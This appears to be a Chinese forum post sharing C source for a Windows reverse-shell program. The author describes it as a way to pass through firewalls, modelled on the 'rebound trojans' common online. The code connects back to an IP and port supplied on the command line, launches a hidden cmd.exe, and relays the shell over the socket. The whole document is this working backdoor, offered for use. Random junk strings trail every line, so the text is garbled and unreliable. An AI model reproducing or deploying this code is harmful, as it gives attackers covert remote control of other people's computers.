这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k!Yc_ZB:*l
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/* ============================== e\6H.9=
Rebound port in Windows NT ^*AI19w!Ys
By wind,2006/7 U<'N=#A
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===============================*/ {T8;-H0H
#include h%EeU
3
#include S70#_{
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#pragma comment(lib,"wsock32.lib") KZ 5%q.
}PI:O%N;
void OutputShell(); >/n];fl>8
SOCKET sClient; 8"&!3_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; d27q,2f!
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void main(int argc,char **argv) 4kL6aSqT
{ 72;'8
WSADATA stWsaData; %RD\Sb4YV
int nRet; MG=E
6:
SOCKADDR_IN stSaiClient,stSaiServer; w'TAM"D`
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if(argc != 3) vm@V5oH
{ YYT;a$GTo
printf("Useage:\n\rRebound DestIP DestPort\n"); M86"J:\u]
return; i%o%bib#
} rn-bfzoDS
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WSAStartup(MAKEWORD(2,2),&stWsaData); p4P=T@:
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7n5gXiI"
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stSaiClient.sin_family = AF_INET; PSJj$bt;<+
stSaiClient.sin_port = htons(0); &@6xu{o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `Wx|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EGl<oxL*R2
{ ZS.=GjK
printf("Bind Socket Failed!\n"); %mQ&pk
return; as@8L|i*
} Ur+U#}
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stSaiServer.sin_family = AF_INET; ]zYIblpde
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <,:{Q75
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X(tx8~z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [l-o*@
{ DZqG7p$u4i
printf("Connect Error!"); Sn[xI9}O
return; 5M=U*BI
} DQ8/]Z{H
OutputShell(); @@H/q
} 8-<F4^i_i
S})f`X9_}
void OutputShell() qU#A,%kcV
{ .'`aX
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char szBuff[1024]; 0PkX- .
SECURITY_ATTRIBUTES stSecurityAttributes; X2V+cre
OSVERSIONINFO stOsversionInfo; ;y(;7n_ a
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 48 -j
STARTUPINFO stStartupInfo; ;Ci:d*
char *szShell; OP\jO DX
PROCESS_INFORMATION stProcessInformation; \lg
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unsigned long lBytesRead; pEwo}NS*H
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bo#xqSGQ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vN(~}gOd\
stSecurityAttributes.lpSecurityDescriptor = 0; G/JGb2I/7|
stSecurityAttributes.bInheritHandle = TRUE; K3mP 6Z#2
! \s}A7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IFBt#]l0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (wL$h5SG
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (K[e=0Rf
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eZ:iW#YF
stStartupInfo.wShowWindow = SW_HIDE; u43Mo\"<&%
stStartupInfo.hStdInput = hReadPipe; Ct'tUF<K5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n>)aw4
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GetVersionEx(&stOsversionInfo); :? )!yI
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switch(stOsversionInfo.dwPlatformId) (EcP'F*;;y
{ pT=^o
case 1: [.>=>KJ_
szShell = "command.com"; !BVCuuM>w
break; 'TYO-'aC
default: N&G'i.w/
szShell = "cmd.exe"; D zD5n
break; c!HGiqp
} pmP~1=3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); s=)W
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send(sClient,szMsg,77,0); 5
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while(1) gE #|eiu
{ z#!<[**&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Aq(cgTNW
if(lBytesRead) l1]N&jN{
{ (LsVd2AbR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d_(>:|oh
send(sClient,szBuff,lBytesRead,0); z$1|D{
} (ORbhjl
else .=YV
{ g5#LoGc
lBytesRead=recv(sClient,szBuff,1024,0); hYyIC:PXR
if(lBytesRead<=0) break; K3vZ42n
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =p@2[Uo
} n`^jNXE
} ,JI] Eij^
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return; !F s$W
}